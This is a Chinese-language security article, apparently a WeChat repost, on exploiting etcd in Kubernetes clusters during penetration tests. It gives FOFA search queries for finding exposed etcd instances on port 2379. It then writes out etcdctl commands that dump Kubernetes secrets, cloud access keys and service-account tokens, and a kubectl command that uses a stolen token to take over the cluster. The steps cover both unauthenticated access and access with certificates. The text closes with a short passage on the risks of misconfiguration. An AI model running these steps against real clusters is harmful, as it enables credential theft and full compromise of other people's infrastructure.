etcd介绍
Etcd是一个具有强一致性的分布式 key-value 存储组件(也是一个高可用的分布式键值对数据库)。采用类似目录结构的方式对数据进行存储，仅在叶子结点上存储数据，叶子结点的父节点为目录，不能存储数据。它为k8s集群提供底层数据存储。多数情形下，数据库中的内容没有经过加密处理，一旦etcd被黑客拿下，就意味着整个k8s集群失陷。
其是由 CoreOS 团队于 2013 年 6 月发起的开源项目，基于 Go 语言实现，距今已将近 10 年时间，目前在 Github 上已有 40K 的 Star 数和 8.6K 的 Fork 数，社区非常活跃，有超过 700 位贡献者。从版本整体发展历史来看，Etcd 主要有 v2 和 v3 两个版本，v3 版本较 v2 版本相同点在于它们共享一套 Raft 协议代码，不同点在于两个版本的数据是相互隔离的，即若将 v2 版本升级至 v3 版本，原来的 v2 版本的数据还是只能用 v2 版本的接口访问，而不能被 v3 版本的接口所访问。
etcd使用比较多的场景包括服务注册与发现、键值对存储、消息发布订阅等。
在kubernetes中，etcd存储集群状态和配置信息，以用于服务发现和集群管理。
本文主要是简单介绍etcd在渗透时的利用。
etcd利用
1.网络资产引擎搜集etcd
FOFA搜索语句如下：
fofa语法: Etcd && port="2379"fofa语法: Etcd && port="2379" && country="CN" //搜中国这边etcd协议并且是2379端口的ip/域名
2. 端口探测
目前，etcd 启动后监听 2379 和 2380 两个端口，前者用于客户端连接，后者用于多个 etcd 实例之间的端对端通信。在多节点集群中，为了实现高可用，etcd 往往在节点 IP 上进行监听，已实现多节点的互通。
默认情况下，两个端口提供的服务都需要相应证书才能访问，并禁止匿名访问，来保证安全性。如果攻击者获取了证书，或者允许匿名访问，就可以直接获取 ectd 内的数据。
etcdctl --endpoints https://localhost:2379 --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key --cacert /etc/kubernetes/pki/etcd/ca.crt get /registry/serviceaccounts/kube-system/default -o json3.etcd搭配SSRF
etcd在配置错误/搭配SSRF利用时，访问到etcd=接管集群。位于K8s master node 对内暴露2379端口，本地127.1可免认证访问，其他地址要带参数和cert进行认证。--endpoint
文档:
-
https://kubernetes.io/zh/docs/concepts/overview/components/
-
https://etcd.io/docs/
未授权访问的情况
ETCD V2和V3是两套不兼容的API，K8s用V3，通过环境变量设置API V3：
export ETCDCTL_API=3检查是否正常连接：
etcdctl endpoint health127.0.0.1:2379 is healthy: successfully committed proposal: took = 939.097µs
查看K8s的秘密：
etcdctl get / --prefix --keys-only | grep /secrets/获取集群中保存的云产品AK，横向移动：
etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c
读取服务帐户令牌：
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole在返回值末尾取 开始到末尾之前的这部分：ey``#kubernetes.io/service-account-token``#
通过token认证访问API-Server，接管集群：
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
需要认证的情况
etcdctl get / --prefix --keys-onlyError: dial tcp 127.0.0.1:2379: getsockopt: connection refused
结果返回本地2379连接失败，netstat看下发现监听的是172段，这种情况下需要指定endpoint带cert进行访问，认证失败会返回。Error: context deadline exceeded
[root@iZbp13l0dv5x8ke1jmrpihZ cert]tcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 2917/kubelettcp 0 0 127.0.0.1:10249 0.0.0.0:* LISTEN 4801/kube-proxytcp 0 0 172.16.0.112:2379 0.0.0.0:* LISTEN 3222/etcdtcp 0 0 172.16.0.112:2380 0.0.0.0:* LISTEN 3222/etcdtcp 0 0 127.0.0.1:10253 0.0.0.0:* LISTEN 4628/cloud-controlltcp 0 0 127.0.0.1:10257 0.0.0.0:* LISTEN 4134/kube-controlletcp 0 0 127.0.0.1:10259 0.0.0.0:* LISTEN 4150/kube-schedulertcp 0 0 127.0.0.1:33941 0.0.0.0:* LISTEN 2917/kubelettcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 3465/sshd
带cert访问etcd：
[root@iZbp13l0dv5x8ke1jmrpihZ cert]172.16.0.112-name-1.csr 172.16.0.114-name-3.csr ca.pem etcd-server.pem172.16.0.112-name-1-key.pem 172.16.0.114-name-3-key.pem etcd-client.csr peer-ca-config.json172.16.0.112-name-1.pem 172.16.0.114-name-3.pem etcd-client-key.pem peer-ca.csr172.16.0.113-name-2.csr ca-config.json etcd-client.pem peer-ca-key.pem172.16.0.113-name-2-key.pem ca.csr etcd-server.csr peer-ca.pem172.16.0.113-name-2.pem ca-key.pem etcd-server-key.pem[root@iZbp13l0dv5x8ke1jmrpihZ cert]https://172.16.0.112:2379 is healthy: successfully committed proposal: took = 2.084526ms
Etcd数据库未授权访问可能产生的风险
kubernetes的master会安装etcd v2/etcd v3用来存储数据，如果管理员进行了错误的配置，导致etcd未授权访问的情况，那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token，从而接管集群。或者可以从etcd中拿到来自该企业向各大云服务器厂商购买的云服务器相应的AK密钥和SK密钥(从而可以让国内外不法分子给企业进行勒索呀,投毒等等)
在真实的场景中，还有一些应用使用etcd来存储各种服务的账号密码、公私钥等敏感数据。而很多etcd服务的使用者完全没有考虑过其安全风险，这种情况和redis的使用情况差不多，在企业内网比较普遍，甚至也有大部分人会将其开放到公网
【火线Zone云安全社区群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
识别二维码回复【社区群】进群
【相关精选文章】
火线Zone是[火线安全平台]运营的云安全社区，内容涵盖云计算、云安全、漏洞分析、攻防等热门主题，研究讨论云安全相关技术，助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区，共建一个云安全优质社区！
如需转载火线Zone公众号内的文章请联系火线小助手：hxanquan（微信）
// 火线Zone //
微信号 : huoxian_zone
点击阅读原文，加入社区，共建一个有技术氛围的优质社区！
原文始发于微信公众号（火线Zone）：k8s攻防之etcd数据库篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论